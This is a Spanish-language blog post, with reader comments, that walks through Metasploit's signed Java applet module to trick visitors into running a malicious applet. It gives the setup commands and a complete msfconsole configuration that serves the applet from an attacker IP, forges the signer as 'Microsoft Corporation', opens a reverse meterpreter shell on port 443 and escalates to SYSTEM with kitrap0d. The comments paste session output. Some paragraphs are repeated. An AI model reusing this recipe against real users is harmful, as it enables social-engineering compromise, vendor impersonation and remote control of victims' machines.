En el episodio 185 de PaulDotCom, Carlos Perez explicó como utilizar un nuevo módulo para MetaSploit escrito por Natron, que nos permite crear applets firmados de Java con un payload malicioso.
Lo estuve probando y funciona muy bien, lo único a tener en cuenta es que la víctima debe tener instalado JRE previamente, luego es solo un ataque de ingeniería social, ya que no estamos explotando ninguna vulnerabilidad en un software.
Esta todo muy bien explicado en las notas técnicas del webcast, pero les dejo un resumen de los comandos a continuación:
Antes de llegar a MetaSploit, primero debemos instalar algunas librerías en BackTrack:
Lo estuve probando y funciona muy bien, lo único a tener en cuenta es que la víctima debe tener instalado JRE previamente, luego es solo un ataque de ingeniería social, ya que no estamos explotando ninguna vulnerabilidad en un software.
Esta todo muy bien explicado en las notas técnicas del webcast, pero les dejo un resumen de los comandos a continuación:
Antes de llegar a MetaSploit, primero debemos instalar algunas librerías en BackTrack:
# Instalamos Sun Java JDK apt-get install sun-java6-jdk # Configuramos Sun Java JDK echo "JAVA_HOME=/usr/lib/jvm/java-6-sun" >> /etc/bash.bashrc echo "export JAVA_HOME" >> /etc/bash.bashrc JAVA_HOME=/usr/lib/jvm/java-6-sun export JAVA_HOME # Instalamos la rjb gem gem install rjb
Luego actualizamos MetaSploit ya que el módulo es muy reciente:
cd /pentest/exploits/framework3 svn update
Lo que vamos a hacer a continuación, es levantar un servidor Web malicioso, que cuando a alguien se conecte a la URL "http://IP_Atacante/kungfoosion", le entregue un applet de java firmado por quien nosotros queramos, y si el usuario decide aceptarlo, ese código se ejecutará en su sistema y vamos a obtener una shell de meterpreter.
El servidor Web lo levantamos en el puerto 80, con "SRVPORT", y escuchamos la conexión reversa de la víctima en el puerto 443, con "LPORT". Con la opción "CERTCN", indicamos por quien va a estar firmado el applet:
El servidor Web lo levantamos en el puerto 80, con "SRVPORT", y escuchamos la conexión reversa de la víctima en el puerto 443, con "LPORT". Con la opción "CERTCN", indicamos por quien va a estar firmado el applet:
./msfconsole use exploit/multi/browser/java_signed_applet set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.168.0.157 set LPORT 443 set TARGET 1 set URIPATH kungfoosion set SRVPORT 80 set CERCN Microsoft Corporation exploit
Una vez que el usuario ingresa a "http://10.168.0.157/kungfoosion", si no posee JRE instalado, le aparecerá la siguiente advertencia en Firefox, preguntándole si lo desea instalar:
Si ya tiene JRE instalado, simplemente le preguntara a la Víctima si confia en el applet de ese website:
Una vez que estamos en meterpreter, podemos utilizar todos los comandos que este nos provee, si usamos "getuid" vamos a ver que estamos corriendo con los privilegios de "Administrador". Ahora, si nos ponemos golosos, también podríamos escalar privilegios a SYSTEM ejecutando "run kitrap0d", el reciente exploit local para Windows de 17 años de antigüedad:
Eso es todo, muy divertido para una tarde de Sábado :)
FUENTE:
- PaulDotCom Episode 185
3 comentarios:
Hola leonardo, mi nombre es mauro y aunque se que este post es viejo y no quería joder preguntando en algo que se publicó hace tanto pero no encontré nada en google, así que espero que me puedas tirar alguna idea del siguiente error que me ocurre, seguí los pasos de este y todos funcionaron correctamente, pero al momento de explotar la vulnerabilidad obtengo lo siguiente:
[*] Handling request from 192.168.1.101:43864...
[*] Generated executable to drop (161 bytes).
[*] Compiling applet classes...
[*] Compile completed. Building jar file...
[*] Jar built. Signing...
[*] Jar signed. Ready to send.
[*] Sending SiteLoader.jar to 192.168.1.101:43867. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to 192.168.1.101:43867. Waiting for user to click 'accept'...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1363968 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.101:38229) at Wed Oct 20 07:35:21 -0300 2010
Fallo de segmentación
la verdad que lo probé contra una virtual de XP sp3 y contra mi linux y pasa lo mismo, parece que es un error del metasploit de que se me pasara el tamaño del buffer del payload pero no puedo encontrar solución, saludos y espero tu respuesta.
Leo me olvide de agregar que el fallo ocurre cuando seteo todo lo que tiene que ver con el class path de JAVA, a partir del cual comienza a fallar metasploit,al punto de que tengo que reiniciar mi maquina y al hacer esto se pierde lo que puse antes y funciona pero sin poder configurar las opciones como CERTCN.saludos
buenos días
me llamo oscar david
tengo un problema al ejecutar el exploit sale este error
[-] JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable.
[-] Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored.
algo que este haciendo mal?? :S
gracias
Publicar un comentario